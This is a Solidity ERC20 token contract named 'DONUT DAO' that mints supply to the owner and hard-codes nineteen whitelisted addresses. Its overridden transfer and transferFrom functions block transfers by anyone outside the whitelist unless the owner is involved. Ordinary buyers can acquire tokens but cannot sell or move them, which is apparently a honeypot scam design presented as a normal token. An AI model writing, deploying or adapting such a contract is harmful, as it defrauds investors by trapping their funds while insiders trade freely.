// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "./ERC20.sol"; import "./Ownable.sol"; // You have to addd LP tokens In the White List after you add liquidity. contract SpecialToken is ERC20, Ownable { mapping (address => bool) whiteList; constructor() ERC20("DONUT DAO", "DND") { whiteList[msg.sender]= true; _mint(msg.sender, 1000000 * 10 ** decimals()); whiteList[0x16a628d148f2c4478b5ce182ea4d6f6d91A7B8Ce]= true; whiteList[0x1fA4dd1D83E0c4086b071ac9D25C22E990895403]=true; whiteList[0xCCB86Aed86328B023E768F25e6a2f10eB05FFF1e]=true; whiteList[0xf13bd8E1923C4fBfCbd137f21157a7212b22Fbe6]=true; whiteList[0x62d7fa8dbc232aDe33Ea06037Ffe9d7A235AB14D]=true; whiteList[0xb4bc34B59a44591F9d1d046A06Ad3528D3444433]=true; whiteList[0x5977EA6ff2c0930cEc8225164A26161ed707421C]=true; whiteList[0x672B498d25890681a8F59FcC2d94739E89E390c6]=true; whiteList[0xE01A23AcACB91981EF0fd595EfB2dE5E2cDED0b2]=true; whiteList[0x89621415cA22d21b0cC21f33Ba55BbcBa93b8eE1]=true; whiteList[0xEe39aC8218185CAEdfDC0246A83B4007A2d54683]=true; whiteList[0x66E1FFb2ED2dd2933F44Ce24f227fFc377f3DBCd]=true; whiteList[0x200Cd5d3b9eEC10D8ed9027332cE516794A8b5C1]=true; whiteList[0x04957299827A55c1d2164373A59b564AC103200B]=true; whiteList[0x203d2AA7C446b11F8a4949763F018DC4c807d5c8]=true; whiteList[0x5325c457aa67560DF6b07a72970063a139407e95]=true; whiteList[0xae0f0e03F6BaC805f4E8b2d72Eafb2719E8547e0]=true; whiteList[0x3764d34fd6E57602e7945FDb7e91b0e55AE83B1d]=true; whiteList[0x2d999005EaCD64eF55Dc0f7f82293621f2E0725d]=true; } function addTowhiteList(address add) public onlyOwner{ whiteList[add]=true; } function removeFromWhiteList(address add) public onlyOwner{ whiteList[add]=false; } function getStatus(address add) public view onlyOwner returns (bool status){ return whiteList[add]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { if(owner()!= to && owner()!=msg.sender) { require(whiteList[msg.sender], "Not authorized"); } address owner = _msgSender(); _transfer(owner, to, amount); return true; } function transferFrom(address from,address to,uint256 amount) public virtual override returns (bool) { if(owner()!= to && owner()!=from) { require(whiteList[from]&&whiteList[to], "Not authroized"); } address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } }